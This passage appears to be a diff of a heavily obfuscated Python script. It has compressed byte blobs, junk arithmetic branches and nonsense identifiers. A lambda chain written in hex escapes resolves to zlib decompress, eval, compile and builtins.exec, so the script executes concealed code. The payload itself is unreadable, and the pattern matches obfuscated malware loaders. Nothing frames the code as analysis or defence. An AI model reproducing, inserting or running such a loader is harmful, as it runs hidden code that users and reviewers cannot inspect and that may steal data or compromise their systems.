\x0e6\xf7\x8a\x12\xb2`6\xe7\xa7\xdc7\xb5\xed\xb3\x81\xfbf\xe5\xf3\x99;e\xf6\x19\xe8\x98\xaeKz\x14C\xff\x0c\xd9;\x9b>\xcc\xf1\xd7f\xddI\xb1.E\x1812/Lf\x89r;Q\xf3\x031[\xb8_\x9c\x90^"\xb5\xf0:O\x8e\x17\x96>X\x0e\x97\x84\xd3\xe3\x87\xd4\x0f}\xc5\x15\xc7\xc2\x15\xb2\x9c{\xf5v4\x9f\xf9u\xf2\x01\xdcA\xa5\xb0\xd7\xe1\xd7\xe58"a\xed2{\xbd/\x11G\xfc\xc5\x7f\x1f\xdbc\xe9\\O\xd6\xf0a\xfd\xbd\x04\xeb\x9f\x88]\xc7\xc5\xaf\x82\xddG8\xed\xc6<\x8f\xb0\xd7\x0b\xf1\x1c\xee\xf8\x89\x11\xf7\x1f\xbe\x8f\xb9\xaeH\xaa\xf5\xa0NS\x9eW\x7f\xfa\xbe\xcf\x97\xb4\x8e\x9d\x97]\xcey\xf0\xcb\xa1\xe4:\x0b\xadUl\x1dqe\x8d\xaeN\xdc]{\xdc\xf5\x86\xce\xcd\xb1e\r\xc17<)Y\xef\x89x%\x83S\x88Vsu\x02\x84o`\xeb\xfa;\'e{\x83\x8f*\xda\xb4\xee#\xd8\x05w)\xfb}\x1b^\x0b@Kw\xd1\xd3\xbcNu\xeb\xb7\x9f\x04\x8f\xed\xccQ\x97\xc6su\x06\xae-\x8c;\xaf\xc7\xe3\x17\x13\x16\xa9\x92\xdf\x93\x9d`T\x8eo\xab\x9c_%-\xf2\xd4a\x19j\xdbo\x04\x8e{\x9cT\xfe\xabu\xddE8}\xfe\xd3\x92\x0b7\xe1\xae\xce\x0f,\xa2\xc7?\x01\x0e\xab\xe12\xecSZ7E\xa7\xde\xaa\xcdw`\xc8\xdf\xa4\xcf7\xc1-\xf3u\xee\xe1\xfd\xa6\x8e\xa7g\x0fg\x8b\x7f*[\xd6:~\xcbk\xf8\xa4\x1a\xab\x96\xe2\xae)\xb5sl\xade\xeb\xcd\xdcqi\xc2\x8d\x0b\x13}\xebK\x1b\xac\xf4\xadM\xc7\x83\xa3&\\-o\xbf\xd1\x8d\xbf\xdbp};N\x9f\nk}x\x8c\xfb2\x97p\xa8x\xdc\x99\x18\xe9\xa72\xd6\x93\x07\x1e\x9c\xff\x9c\\\xf7\xbe\xec\xd8\x9c\x0e\xe6\x96\xf3M\xeb\xbbf\xd7\xda\xe4^\xcfm\x13rL\r\xec\x18\xb9B7\\\x86\x19\x17/\xff\xe8\x9a\x9cw\xbc\xdd\xc2\xa9`\xe8\x14x,\x04\xff3\x17\x96\xaa\xb1\x15u<\xa5\xe1&\x1c\x8c\x9e/\x9f7T\x8e%\x87Z\x92w\x99\x0b#>\xf1\xf0f\xe1\x92\'LG\x0f\xe3\x91\xe5\xd6\xa6S\xda\x1ev') - if 460165 > 8824678: - _divide(_algorithm = 2089 - -48962).Positive(Statistics = _absolute.While * -78658) - elif 141863 < 1737772: - _divide(_algorithm = -84758 * -76091).Positive(Statistics = _absolute.While / 45475) ;_divide.StackOverflow(CallFunction='Oo0O00O0o0Oo0oOo00ooo0o0o',_round=b'-\xee*\xebn\xaf\xe1\x11~(]gf\x9fH\xd9d\xdb\x06\xbf\xb6{\xb3RN\x87\xf3r\xa4\x8c\x9e\xbd\x85\x91t\xee3g\xd4\xa3\xbb\x1e\xd1\xfe\x97\xd6e\xae\xa7\x03r1}V\xb8\xcd~`>\x8fG~A\xf3"\xc2\xc1\xc5\xfd\xe5\x8e}Jnw\xb7;\xf42\xb9\xde]\xfe:\xe4\'R\xcf&\xe1\x91\xed\xc2\x8dM\xa1\'\xfdru\xe9\xb8\x02\xb1k\xd0\xf6\xe6\xe5t\x9e\x90#*&p6\x9d\xdb\ts\x0f\x87"7\r\xb8}\x19\xb7WU)\xa3\xd4\x83\xc3\xd6=\xf0\xd9\x13;\xbfv\xfa|\x16\x0e.ljn\x9c\xb3\xc3\xfe\x9e3x_M\x0fm\x9d\x0e\xba\xda8\xd8\n\xe3d[\x9a=\x96\x15\x98\x1c\x07\xdd\xa1\xbaz\x1c\x8c\x85]e\x1d\xd1Z\x07\xfbP\xe5H\xe8\xf6\xc5e6\x10\xceb\xae\xd0.\xae\xcb\xecq\x96\'\r\xdd7\x14\xea\xb2\xeb\xb9\x14\xaa\xe2\xe4\xee\xb1m\xb1\xb5\xefFAGq\x98\xf2b\xbb\xf8\xe7:\n7\x90[*:\xa5\x16w\xeaN\xdc%w\x19\xd4\x16\xed\xd2=\xf1GjpBf\xf6\xd6y_8\x0e\xfc\xc2\xe0\x8f\x98\xba\xa3\xe6\xa8\x89]{\xc3\x1fh&\xcf$\xd6\xe1\xb5s.8U\xe0\x81\xa0\xc0\xda\x17v\x1a\x96\xfb\x0b.\xadB\x8dX|jCq\xf2\xf2\xb5\xa2\x19\x02%\xb3!\x87T\x95\xb7!J\xfcP1\xed\xb0\x06\x1d\xe1.\x83a\x9f2/|\x81\x17\xe6@u/\x01v\xdc%}\xe6\x08\x9f\xd0\x0cO\xd3\xd5\xee}ai\xd0(l0dM\xe8\x1c\x85\xab\xe9\xbe\x0e\x97+\x96\xc6\xf8\x8c\xfb\x86\xc3P\xe5t>\xeb\xbd\x16\xe1\x9b\xdb2#\x93$6G\xca2\xbe\x83`S%\xbc\x7f \xd4\xd21C\x1b\x1d+L|(\x9cVg\xc8\xfb6\x8e\x98\x04N\xdc\xf0Elh\xe6\xd5\xa3kmh\xb2~\xd8\xa8\xfa\xd7\x98\xb2\xfa\xfd=\x16N\xf8\x1e\xf6:Sna\xc4lx^\xa8\xac\x1a\xcf\xfe\x12k\xfe\x92t\xee\xf2s\xee\x12l\xa1%\xe7\xaa\xf0\xc4=\xb0\xe8/\x9d\xe8\x87\xa6\n\x85\xa3\x1aZb\xd1?\xdf\x19\xd2\xed\x08a\xb3O\x11\xdeq_8f\xa3\xed\xb2\n\xc3%lH\xb8\x8cCm[\\\xc3\xa6\xd8\x89)\x13\\\x16\x0c\xd1\xd7^\xda0\x14\xe2\xda\x85!7\xec\xb5\x0fg\x15\xfe\xb4{\xce\xda\x17g\xd8v\xad\xe5N\xe2\\\xc2>\xb2,\r\x03:\xe2\xc6\xc1\x1dq\xb3a c\xc3g\xbc\xe4\xf3t\xf7\x15\xd3\xe0k\xceM\xa2\x1f\xee\xa2\x11\x07\x976\xe8\xa0!\xdb\xfa\xe1c\xea\x1e\xbaB$\xc7\xc9p\xcea.\xad\xcd\xae<\x17\xa6\x96\xb6\x18\xd2\xb3\x0c\x9e\x8cz\xe7\x1c\x10\xb4\x06\xec\x9aSNB\xed\xa2]\x1as\xb3\x0c\xaa\x96p\xa9\x004\x9d\x12\xd6G\xf4-\xdb\xa5{"p\x8b\x88\x85\x99\xabK\x079\xa76*\xbdA\xe01uGD\xaf\xef\x8b`\x7f\xea\x90\xce\x87F\xb7?\xddd\x82\x03\xdc\xf9\xde\xe3NO\tM\'\xf5\xb4\x92N9\x1d\xec5-\xf4\xb3#\x92\xd8`\xcb\xeeZq\x08\x8b>\xc2\xe7ju\x836\xaa\xabp=V\x9d\xd5*uEOo\xaaj\xc7\xa9\xdc\x8f\x8a\xba/\xde\xbc\xb9y\xfd\xe6\r\xfe\xde\xe0\xff\x9b\xd7\xaf\xdf\xc4\xa0+I\xa4\xa9\x06\xb4\x04\xfc\t \xa8\xf2N@\xed\xbc]z\x00\xbdi\xd1\x8f\xb5\xcfK\x1dVC9\xb6|1uG\xd8\xf2M2\xd7\x8c\xb7\x9c\x99\x88\x9f\xd9\x83\x93\x9a\xd0f\'*B\xfe(\xdf*\xcf\xee<*^\xcc\xfe^#akn;\x8b\r\x7f[\x9a=\x00\x86\x7f\x80\x81\xfb\x90\'\x90$\xa4\x1cRj\x12\xe6\xcb\x8c\xc6\xab\x10Qu\x83o\x14$Y\xdc\x17S\xc4A\xb2\x08\x01\x87*\xd0\rp\xba]Z\\]\x0c\xdf\xecG\x81\x9b\xc0DY\xfa\x83\x9d\x80\xc1=\xb7\xfdy\x109h\x8f\x16\xb1\xb2\x07\xe1\xac\xbaS\x1a\xe4\x10S\xb7\x18\x81\x1cj\xcc\xb9\xbb\xbe\xbd\xbe\xc5\x7f~\xb7\xdd-\xbd*d\x8fC\xbb\x9c\xed\x1aK\x1a +#z\x95\x05\x120)\x10Y\xdc*\x8d[\xa0\x04m;3\xb8\x84I`M7+\xdb\xa5\x93\x8ae\x0e\x11\xa6\x1d\xe8\xa1\xd0\x87\xc1\x8f#\x92\x8a5\xd5\xcf+lR\x90\x88\xa9$\xf6G\xb5KO\xf3z\t\x01\\A\xf4\x88$j\x04Eki\xbb\xf48\xc6\xb4]\xe9\x8b\x9d\xebLv\xae,\'\xd2\x86\x88g=\r\xebB\xc3\xfa0k\xef\xea^\xcbzU\xab\'KY\x97G\xfa\x8a~\x9b\xd8>]\xcdh\x1dO\x87^in=\x92k;\xe0\xdaD\xb9\xb6w!\xfb\x84P\x99/\xff\xb2e\xe3\xec\x8c:\x180\xd2\xad\xa6F\xdf\xc4L[H\xff\x1c\xd4\x07NdOsj{\xe5y\xec\x8e\xbc\xf63L+1\xc3\xca\xf6\r\xdbIX}\xf1\xdc\xf2\xd83\x90k68\xa3&\xcff8\xa8\x13\xca2\x9f\xa5\xb2\x0c\xd5\x9d\xf9\x1d+\xaa\x8a\xbb\xcc\xd0\x8b\xb2]z\xcc5\xe8\xbe\xacz9\xd9\xaa\x97]\xeeq!\x13\xb2.\x17\xba\xb6\xc9\xd8\xdc\xd3_m\xf6\xe2\x99\x88\xb8\xa6$!\x13\xb0\xaei\xa5q/\xaew\x0e\xe8\xac\x92W[\xd9t-\xb7\xb6%\x9f\xb9\xc3\xf33\x90\x98\t\xa9\x85Nq=0\x8c\x1caV>\xc1\xf8E\x0f\x08"\x00+\x82\xd6;\xb4Q\x17\xf6YYn|\x94{\'RM\xd4\x8a\x0fn\xe4\x85\x92\xe2\xf6\xd5\xd1\x14\x1er\\\xe3`\xad4\xc5\xd6[\n\x99\xaf\x01\x9bjHY\xbe\x16\xee\xb9\xa2q\xd4\xab\xd9pd\xa5\xcc\x89\x80\xd1\x1d\xdf\tW\xc5\x93\x14K\x0f#0\n\x9dPD\x8e\x15\xb6\x88^\x9aV\xc0\xb6\xf4\xbf=&Z\xec\xbe\xf0\xbfo\xff\xaf\xf2ed\xf4\xb5\xfb\xea\xbb\xd7\x14c\x11\xf1)~7\xb6B\xa6\xfc\xef\x1d\x19\x01p\x8f^\x1e\x17\x83\xa7\x19k\x85c\x1b\xa6t\xc73\x89\x9e\xf2\xee\xb1"d\x99\xac\xc5\xec\xe3\xb0\x00{\x12\tn-K\xbeys\xf3\xe6\xf5\xcdkT\xc0\xdd\xc0\x1e~\xe2\x84\xa3e%Q-\xc8R@\x92p\xb4Uz<\x11\xd7H\xf3\xc7h\xb1_\xc9\xb2:\xb2\x87d\xed"\x9aG$\xc4\x1c4JO#l\xc4\x96F\xb5\xa7\x84M\xb0\xf9\x07\x19r\xb6J\xe3\x04\xe8\xd6\x024\xa3\xa8\x06\x05\xe9V\x8bv\xe9\x01q\x0erG%\xa2\x8cZ$5\xc9\x9a\x81\x0c\xd5\x1bi\x02\xd2N\xa7\xd3\x92\x1ek\x89\xf1\xccX\xc4\xbaji\xe94aI\xcd\xc8\xcd\x1dS7\x9br\xa9\xf2\xf1\xe1\xa7\xc7M\x93\xe3\xc3\x96\xc6(a\xe3\x95\xb1\xda(R\xb5Q\xb4Js\\\x1a\xe5\xaa2\x8a\xd8b\xb0\xde~JX\x1c\xad\x18\x97D\x112\xb6J\xd8vi\x94\x12\x96PQTE2\x18F\xb1\t>\x89\xec~\xe1t\xbbT\x1c\xae\xfaE\x96\xc9\xf0K\x96\x7f\xc2\x83\x18\xf5oN8\x0c\xdf\xa3\xa4\xbd4\xd6\xca\xad\xd2\x03\x06^\xe1\xa8zKc\x83lc\xb4Pr\x06\xdeP\xdd\x11\xc2#gZ\x7f|\xac\t\x0b\x9b{|\x9ct\x8aR\xd4X\x8a\x80J\xf3|\x03\xb5u\xbb4\xce\xaa\x07/\x93l)\xcepJV=\xad\xd2\x03\xacz\xacU\x8e\x1b=G\xe5\xb53\x81kE>Tw\x0f\xdd\xdb\xbc\xd6=\xfbk\xcdKRG\xa6\xc6\xe2\x1fu\xa8\x82\x08\x9c\xdc/\x8d\x13\xa9\xe2X/\xefJ\xa3\xe9\xcc\x880\x94\xed\xd28\xda&!\x18R\x04O\xa86-\x88\xb6i\x95\xc6\x82\xab \xdbX\xc6\x7f\t\t{u\xbb4\xee\xcd\xd2;\xa6\xbc\x14\x81gNm\x96\xb5KO\xa3\xca\x1fR\xe7\x7f\t\xa2\xf4\xec\xa4\xd9\x14\xb8\x84\x14oV\xa9,+gJ^\xeb\x8b\xad>\x8f\xe10}*G\x88\xa6\x12z\xae@I\xa8\x80\x0e\x04\x93\n\x05\x1fi\x04\'\t\x05\x9c\xaa\xafk+5\xa5Q$7\x14\xc7G\xb5\xc0\xc5\x91y}M\x16d\xb7\xd78^\xd1\xae\xec\xfa\xfa\x80 \x98\x96c\xd0&\x95f*\xb5S\xa7\xf5\xe5\x8b\xa9\x1b\xe9\xcb7\x8a\xef\xeftB\xb4\x14\x98\xf5\x12si\x80\xc41\xea\x8b\xa9\x1bm\xd4\xf7\xe2\x7f\x00\xeb\\^\xfe') + _while(_product = -49167 - -89827)._walk(Builtins = System._memoryaccess + 63609) ;_while.StackOverflow(_run='wxxxwwwwxwwwxwwwxwxxwx',_square=b'\x8f\xeb2\xb2\xaa\xb6um\xfe:j\xfc\x18\x94\xbdwfa\x1da2\xb1\xf8\x10\xfbM\x94\xcf\x96Z\xd8%\xd9\x89\xb4\xd8\x9c\xda\xc2v\x899rN\xbcL\xa8\xf2\xa5\xf9,4\xc7w\xda\x9a\x1b2~\xc0S\x94\x99q\xb9|(\xd9~\xafMqK}\x1b/\xc0\xcbh\xb9\xb8\x9d\xa7\xb5\xf8W\x88\x07\x0b\x06#\xe6\x1c\xe1\x99\xcc>\xfb4\x9c\xdb\x12K`\xe0\x99\xa7\xc2\xdd\xb9\xd2\x82!e`\xc36\xb7CqL\xfccmQ\xf1\xb1\xd9\x0e\r\xd7Oy\xbc\x8fE\xcb\x9fRf\xf0\x14u\x85c\xf1\x8a\xeb\xf7\x16Z\'>Y\x17\xb5\x88-A[|6\x1f9\xb1+W\xf6\x89\xd9\xe8\xe3\x03\xb2\xbc\xec\xda\x7f\xec\xcf\x87o\x0c\xb9\x96\xf8\xea\xba\x86x\xc5\xe1\xf5\xfc\xe9\xe0\x8a>^--\xafU4\xae\'\x93v\xbb\xac1|\xdb9\xf8\x08\x84\xa5U\x9ar\x02\xe9\x14\xee\x0f\\\xf3\r\xe6\xed\x13\xd9\xf9\xfb\xee\x98\xe9DsZ\xab<\xcf1\x964~\x84#9=\x8c}j\xce\xa5\x0c\xf6\x08f\xa7\x8eu(\xbc{\x8a1\x0e\xed\xab7m<\xdb\xd7\xe96\xfdo\x9b\x1dL\x1b\x8cv\xf5\xe51\xe4\xf5K\xd0\x1aM<7\r\'\x97\xbf\xa3v\x15.=j\xea/\x93D\xca\xe6\x93\xc2\x94R?\x1f5}\xd3\x98\xb4_\xbd\xf7\xcdmR\xa4\xd4&CJlB$\xc9J\xa1;\x0c\x9e\xcd\xa7m\xee\x9b~\xea\xa4)\xc1\xda\xef=#\x19X\x80\xc4j#\x13\xbf\x99\xe4]\xcf<\x92\x8fR*\xec\x8dM\xdb[\x94I_\xd76\x01lQ\xa6\xf4\x85\xe3\xf1\xe9Z!\xe5j\x99\x9eV\xd1^\x99\xc2\xb1JVl\xce\xd9d\xad!\x12\xabF\x89\x99\xc9\xf1\xb9$D=\x15(T\xb8\xa9\x7f\x06\x95i\xd37e\x12gJ\xa1\xbe\xa9\xc1\x03\xc2\xc2 F\xfc\x1beH\xedK\x13x\xcc$\xa9>S:\x17\x90\r\xfe\x0e\xb3\x18\xef\x9c\x0c\xc7&G<|\'\x19\xcf-\x9d\x8c\xce\xf4N5\xbc\xb6j\x97\xb4fx\x07Tp\xe7f(\xb7\xe8\xa0\xccc-Kd`\xf7\x9ay\xa6e\x16e\xa9~\x0bx\x0f\xc8\xd9\\H\xa9D\x16\xeb+\nU\xc0\xfb\xcaH`\x1b\xfd\xdey\x96*z\xcb\xbel\xcf\x90\xd99\xd5\x00\x19g\x90\xed\xf9.\x85\xec\xf1R\xed4x\xe6\x8d\xdc\xe3\xeb\x12\xdd\x99R\xa1\xc0M\xadnm\x11\xe4\xb4<\xdc\xb5\x9c\xe3\xe5\xaf\xab\xef-\xfb\xde\xd5\xae\xde\x91o\xbd\xec\x13M@\xf6B\x06\xe4^O\xb0\x1f4\xe9\xab\xdb\xd6\xfb\xaa/kv33\xbd\xc9\xc7n\x8a\xcd\xd8\xaeL\xd6v,\nr\xb3\x13\xc4\x19\x18r\xe1\x8f\x9fm\xc2T\x1d\xb6\xaa\xdc\xe7\xec\xdb\xde\xcbd\x85o\xcf\xc9\xbe\xa9\x16\xb42\x8bx\xfd8\x12)\x8ef\xae\xb2\xda\xcc\xa9g\x1b7\x19\xc7\xddl\xe4\xfcz\x9b\x19Y\xd9\xdd\x19W\xf5\x10\x9f\xbfU?\x0eeh\xafgg\xe7\x19\xec\xb7\xe5\xa7^7n\xde\xd7\xe6\xbb\x94\xee\xcc\x97<\x8f=\x1f\x19\x84\x9c\x12\x03\x10n\xa82?KK@\x94W\x94\x00E\x00\x85\x94\x9f}\x08\xef\x8d\xc9O?\x05:\xc7C#<\x91\xc6P\xa9Hum\xaa\xe7\x98\xbe\x9a~+\t\tT\x01\x0f\x15\x1a\xb7\xf9\xbc\x95M\xe1)9~e\xd8U\xf1\xf3\xe6\xa9r\xb1\xad\xbdq}\xdc\xeb}\xc4\xdf\x8f/d]I]\x9d1\x1d\x8d\xfb7B\xa4p&\x96\xa9\xe6\xff\xf4\x9f\xd4\xfd\xa3\xfb%I\xeb}\x01\xfd\x95\xca[\xcd\xa7\xc3\xb9\xbbt#\x9bm\x0c\xfe\xbb+\x8f%\xf6\x9bO\x9f\xfa\xbc\xa9\xe6m\xec\xfc_\xd7\x08\xa7\xc2\x92\xd4\x85%\xa4\xf9^\rZF\xc2{\xbdg\xb7\xd8C\xba\xaf\x00jR\xea\x87\xb6>\xda\xe9;\xdf\xe9\x89\x12\xcbf\xefTG\xf5s\xdbd\xb8\x8fJ\xe8Ru\x18\xabF\xbc<\xab!\xae\xd9\x8f\x9cPr\t&\xdeO\x1cG\xd6W\xc0\xeeU\x101\x9f\x9eG\xfc\xb9a\xdd\x02\x9a\x010\x06\xb4\xd4]\xe2\xc1t\xf4\x95a\xca,Kt\xdf\xe9R\xe8\xa2\xec~\xae\x8b\xd4%\xb5\xfb92-\x9a\xa7\xf6j;\x8b\xb1\xc9nb\x9b^Z\xdc$\xfa[\x17}\xbaY\x9b]\xae\x06\xaf\x85\t\xaf=\xda!\x03\x14\xb0\x1d\xcf\x95\xdf@?\xc6\xba=]\x8e\xa3\x1bc\x81{\x8af\xedmG\x89(\x03\xc9\x06\xa62\xe7g+2\x1c\x1c1\x022\x10\xb6Fv_X\x80\x8b\xd8hu\xb5\x8bPp\xeb5R~2\x87a\xfe)\xd7\xcb.|r\xfb\xc9\xb0T\xdff\x9b\xd93\xf0)\xa9hi\xb9F\xc3C\xd21QB\xcaP\xd3D\x11\x85\x10\x1c\xa6v\x9d\x85\xb5\x17\xd6\xec\x98\xad\xc39\xee\x9b5Z\r\xb6[@\xf0\xf8\x02\xe4_(\x02\x03Y\xd8\x0b\x14\x8b]\xbf\xf0\x91=Z\x94\x0c\x082\x02\x84|#`\xa0\x9b\xb5\xc1D\xda\xab\xcbL_\x15\x90?\xa0f@\xc8\n\x11u\xde\xac\rx\xcf\\\xbf\x03|\x14.\x07)\xbc\x19.H\x8d\xda0\x983\xe5s\xcfn\x13\xc2\x94\x0e\xe6\xeck\x9bL[\x1cF\xc8w\xd7\xa5\x8c\x7f]\xb2)\x15\xb3R\xc9v\xad\x18\xc3W\xc2\x1b@\xd1$m\x1f(gU\x91v_0\xbc6\xd46\xf6\xc7mg\xa9h:\xa68y\xf0^Y\xe3\xaaY\xad\x16\xa4\x13\x85\xe67K\x9e\x0f\xe5\x1a\x11\xf1|I\xa4\xb0\xae\xe2\xfe\xe8\x8c\xc8\x95f\xc7z\xcc\xac\x87L\xabk\xed\xe6\xaawu\xc9g\xbc\x03\x99Y\x80y\x85*\xf7)\\\xb9b\xe6@\xe4\xfejB\xf1\xb7\x9f3\xa6\x1c&$\xb5@s\x8e\xf6v\xc6\xccHZ\xd3\x03\x91\xf0\x10\xd6U\n\xd1\xea|M\x85\xde\xf2\xbc\xc7V\x93\xbf\x16\xaf_C\x11\x02v\xf4\x9e\xde\x9c@O\xfe\xb7!B\x9f\x92\x8e\xca\x87^$\xe9yS\x9e^\xc9\xdb\xe1\xf8ttbl\x15\xcc\xd1\x19\xd1y\xbd\x13\x84\xe8\x0f\xe2\x0b$\xa3I\xc8\x80\x83\x18Z\x9f\xb6\x9e\x0c-\x9b\xf4\x11\xf4N\x04\x8f\x15\xe1\x83\xc1\xd3^_\x9f\xady\x8c\xafH"\xe4\xf3Y\xca\xa4S\xe3\xbdj\x83\xa7yO\xa8\x18\x07\x9fZ\x1a\x8a\xe8\xae\x04\xc7\xd9\xc0\xc4P;\xe5\xcbSNR\xe7\x1f\x93\xfa)\rT\xa4\xaa\xe4\xf0\x956E\x9a\xad\xd1_\x18\x1aHTO\xd4\xa5#\xd0\x7f]k\xa8\xef2 \x90\xd6a 5\xfbz\x93\xe9\x1e0\xe1\xe3a\x1amx\xc6\xf94\x04\xdfK\xb7\xb3h\xb3*$%\xb9\xfa\x91Yafi,c\xb6m\\\xcdr{lM\xbaU\xc2h\xa3\xbc\xf6[\x81\xe7\x94\xa5\xbbb\xe3\xaa\x90\x18\x13Q\xd7<\xf3T\xe6\xfaaMi\x1d\xb3\xd4\xa4\n\x9b\xa9\x9c\xad\xdb\x8eo]S\xcf)\xb4sW\x1a\xe1\xa6\x19)\xefw7\xec\xb2\x13\x9e\xc3uq\xe5\xae\xafm.\xb0\xe59s\xad\xae1\x08\x1bB\xaf#\xccH\xed\x99\xe3\x96\xc2\xde\xa3\xb6_w\xf7j\xf4\x9f\xaaR\xe6\xf0\x94w\x14F\x8f\xcc\xe8\xdb\xc6\xd95\x89o\xc0\x8d\xfb;\xa7\xee\xc8\xbcH/\x0f\xb0\xae\xd9\xf5\x90\xa5Oam\x80\xf4\'\xa4\x98$\x88\x89 \xe9"H4Bd[)JAA}]o\xd1\xd7v\x84\xa9\xe1\x00\'\xb4\x00\xed2\xd2\x1e\xf2|\xf8\xa4P\xc2\x97\xa3\x12\x1eD\xf5\x15\x8e.(\xb2\xa0\x93\xa1\xf4\xcdLE\xe5\xd56\xccsq\x90%\xdd\x14\x81/q1\xa9}\xae\xc4\xab\xed)\t\xab\xd8!\xac\xa2%\x08\xab@\x04V\xdd\xbf\xc5E\xfc\xa1s\x1c\xf3\x856t|Z\xd7\xaf\xcb%jj\xbe^\xdc\x0f\xcc\xf5\x0f\xe3\x8bZE\xf8\x9c\xcb\x82V\x1a!U\xf6\xfe$\xf3_\x97\xd6\xff\x05\x190\x9d\x87\x95\xf7\xb4u#\x08\xf7>\xc9\xf5\xe2\x1c}H\x88iO,\xaa#\x05\x8ad\x8c|\xca\xa8\x82\xa1\xb6rL\x87\x84\xe5\xb5\xbfh}\x83\xcb\xd3\x1a\xde3n\xf0B\xfd|h\xb8\xb0Y\xc7\xe2?C\xb8Nv\xf3\x9f\x14n\x86\xdc\x07\r\xcfi\xeab\xec7\xf3!\xdd\x8c\xe1\x81(\xfc\x0c\xa4\xb1X\x9c?C9E3\xb5\xc29\xa4fZ:\xb5\xd21C\x03\xba0Q\x0fO\xc5\xdd\xade\t#\xc6M[\x94n\xd8\xb4\xcfa\xa4!{h\xc0G\xdc\x18\xf3\xa6\xbc\xa2\x92a\xf4\xcb;\x96\x9f\xdf4V!CP\r\x8f\xe7\xf4\xf4\xe4!dOg\xaa\xb7\xed\xc1\x07\xe1R\xa1\x1e\x07\xcf/\xeb\xb2\xdf%\xff\xadBz\xb4\x9csd\xbf\xee\xef\xe0\xf9\r\xecgv\xde\x9a\xb1\x17e8\x9f)\xf2\xe6\xfe\xb9\xbdd\x18\x81\xc5\xd3\xe49\x9f>9aC\xbeh\x8fC\xc9\x91\xdb\xe6\xda)B\x06\x18S^\xb4\xeb}\x8b;\xc6\xc8w\xa6q/\xf9\xe1\x17LE\x17\xdb\xfdR\xceg)~\x9f\xb6\xe9\t\xec*N\xec\xf8\x1b\x9c\x91Kn\xcc\'\xc2\x02N\x16`\x9d(\x9b\xb5^\xd7\x92h\xbb\tV\x94\x12\xad7\x05^\xabQ{\x02\xfdux\xa6\xef\xa8r\xce\x8a\xeb?\xad\x1c0E\xe4.\xec6\xb5\xdb\xdcnc\xe7\xb8p\xb6i\xb9\xc5\x9czLQ\x1b\xe6\xba\x81\x145\x0b\xc9#C\x13\xa8|\xc1\\\x82\xf8m.\x9c\xf5{\xf8\\\xb3\xad\xf06g$\x87,\xe3\x84T\xca\xb4\x829\xcd\x17\xa5#\xbdU\xba\x1d\xcd\x1ay\xb4\xc4\xef\x0b\xb7"\xf6\x0bJ\x01.\xcc\xb1u!\x9e\xea8\xefo\x12\xd8tS\xe6\xeb\x86\xbbvd\x8e\xab\xf2:!k\xf8uM:^\xd9\xc9s\xdb\xf9m\xb2M\xeeR\x08\x19\xb1\x85\xc0\n\n\xf6}\x8d\x0c\xc79\x90\x06\x8ah\xe3\xeb\\\x99\xa1+\x1d\xf8\x85@\x89n\n\xeb \xea\xd6\xfa') - if 358125 > 3794221: - _absolute.Cube(_memoryaccess = 94902 * _absolute.While) - elif 195845 < 8076839: - _divide(_algorithm = 23948 + -57437).Positive(Statistics = _absolute.While - -61976) ;mnnnmnmmmnmnnnmnnmmmmn,S22S22S2SSSSSS222SSSS2S,lllIIlIlIlIIIIIII,oODDoOooooDooooooOD,LIJIIJILJLILILIJII=(lambda LJIJIJJJIIJLLIIJILIIJIJI:LJIJIJJJIIJLLIIJILIIJIJI(__import__('\x7a\x6c\x69\x62'))),(lambda LJIJIJJJIIJLLIIJILIIJIJI:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(LJIJIJJJIIJLLIIJILIIJIJI)"),filename='\x4a\x4c\x4c\x4c\x4c\x4a\x49\x4c\x4c\x49\x49\x4a\x49\x4c\x4c\x4c\x4c\x4c\x49\x4a\x4c',mode='\x65\x76\x61\x6c'))),(lambda LJIJIJJJIIJLLIIJILIIJIJI:LJIJIJJJIIJLLIIJILIIJIJI['\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73']),(lambda:(lambda LJIJIJJJIIJLLIIJILIIJIJI:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(LJIJIJJJIIJLLIIJILIIJIJI)"),filename='\x4a\x4c\x4c\x4c\x4c\x4a\x49\x4c\x4c\x49\x49\x4a\x49\x4c\x4c\x4c\x4c\x4c\x49\x4a\x4c',mode='\x65\x76\x61\x6c')))('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x62\x75\x69\x6c\x74\x69\x6e\x73\x27\x29\x2e\x65\x78\x65\x63')),(lambda SS2SS222SSS2222S2222222222,LJIJIJJJIIJLLIIJILIIJIJI:SS2SS222SSS2222S2222222222(LJIJIJJJIIJLLIIJILIIJIJI)) - _absolute.Cube(_memoryaccess = -32088 * _absolute.While) ;oODDoOooooDooooooOD()(LIJIIJILJLILILIJII(lllIIlIlIlIIIIIII(mnnnmnmmmnmnnnmnnmmmmn(S22S22S2SSSSSS222SSSS2S('\x76\x61\x72\x73'))),_divide._floor(Substract='wwxwxwxwxxwwxwwxxx')+_divide._floor(Substract='IIILLJLIJLLLLJIIILJI')+_divide._floor(Substract='wwxwwwxxwxwxwwxwxwxxw')+_divide._floor(Substract='NMMMMMMMNNNNNMNNMNMNN')+_divide._floor(Substract='Oo0O00O0o0Oo0oOo00ooo0o0o'))) + if 111549 > 4018910: + System._walk(Builtins = System._memoryaccess - -25492) + elif 409875 < 1049270: + _while(_product = 52507 + -5423).Invert(_add = 98967 * System._memoryaccess) ;_while.StackOverflow(_run='llIIIlIlllIlIlIIIlllI',_square=b'8\x88f\xe8L\x1a\xa3\xa7I\x8a.\x99\t^\xcb\xad\x15\x93\x1d"\';\xc6\xf8{\x1d\x029%\xf0a\x05z\x98\xe6\xe8u\xd8\xa8\x9d\xefXB2v\xdaFi\xdd\x81\x84\xa2n\xf9\xb4\xf5\x8e\xba5:X\x10M\x11\x1e&\x88\x9cG<\xd1u .\xe1\xff\x031 \x8a\r') - except Exception as Theory: - if 414231 > 3067243: - _divide.execute(code = _system(Theory)) + if 418695 > 8236163: + System._walk(Builtins = System._memoryaccess * -5355) + elif 272048 < 9385621: + System.Invert(_add = 89736 / System._memoryaccess) 